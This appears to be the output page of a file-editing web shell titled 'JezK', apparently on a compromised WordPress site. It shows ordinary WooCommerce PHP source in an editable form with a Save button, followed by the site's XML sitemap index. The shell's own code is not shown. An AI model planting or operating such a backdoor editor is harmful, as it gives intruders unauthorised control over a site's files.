
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: MiniCartCartButtonBlock.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Automattic\WooCommerce\Blocks\BlockTypes;

use Automattic\WooCommerce\Admin\Features\Features;

/**
 * MiniCartCartButtonBlock class.
 */
class MiniCartCartButtonBlock extends AbstractInnerBlock {
	/**
	 * Block name.
	 *
	 * @var string
	 */
	protected $block_name = &#039;mini-cart-cart-button-block&#039;;

	/**
	 * Render experimental iAPI block markup.
	 *
	 * @param array    $attributes Block attributes.
	 * @param string   $content    Block content.
	 * @param WP_Block $block      Block instance.
	 * @return string Rendered block type output.
	 */
	protected function render_experimental_iapi_markup( $attributes, $content, $block ) {
		$default_view_cart_text = __( &#039;View my cart&#039;, &#039;woocommerce&#039; );
		$view_cart_text         = $attributes[&#039;cartButtonLabel&#039;] ? $attributes[&#039;cartButtonLabel&#039;] : $default_view_cart_text;
		$cart_page_id           = wc_get_page_id( &#039;cart&#039; );
		$cart_page_url          = get_permalink( $cart_page_id );
		$classes                = implode(
			&#039; &#039;,
			array_filter(
				array(
					&#039;wc-block-components-button&#039;,
					&#039;wp-element-button wc-block-mini-cart__footer-cart&#039;,
					// Default style class is not added by default, so it needs to be added manually if it doesn&#039;t exist.
					( ! isset( $attributes[&#039;className&#039;] ) || strpos( $attributes[&#039;className&#039;], &#039;is-style-&#039; ) === false ) ? &#039;is-style-outline&#039; : &#039;&#039;,
				)
			)
		);
		$wrapper_attributes     = get_block_wrapper_attributes(
			array(
				&#039;href&#039;  =&gt; esc_url( $cart_page_url ),
				&#039;class&#039; =&gt; $classes,
			)
		);

		ob_start();

		?&gt;
		&lt;a &lt;?php echo $wrapper_attributes; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?&gt;&gt;
			&lt;div class=&quot;wc-block-components-button__text&quot;&gt;
				&lt;?php echo esc_html( $view_cart_text ); ?&gt;
			&lt;/div&gt;
		&lt;/a&gt;
		&lt;?php
		return ob_get_clean();
	}

	/**
	 * Render the markup for the Mini-Cart Contents block.
	 *
	 * @param array    $attributes Block attributes.
	 * @param string   $content    Block content.
	 * @param WP_Block $block      Block instance.
	 * @return string Rendered block type output.
	 */
	protected function render( $attributes, $content, $block ) {
		if ( Features::is_enabled( &#039;experimental-iapi-mini-cart&#039; ) ) {
			return $this-&gt;render_experimental_iapi_markup( $attributes, $content, $block );
		}

		return $content;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
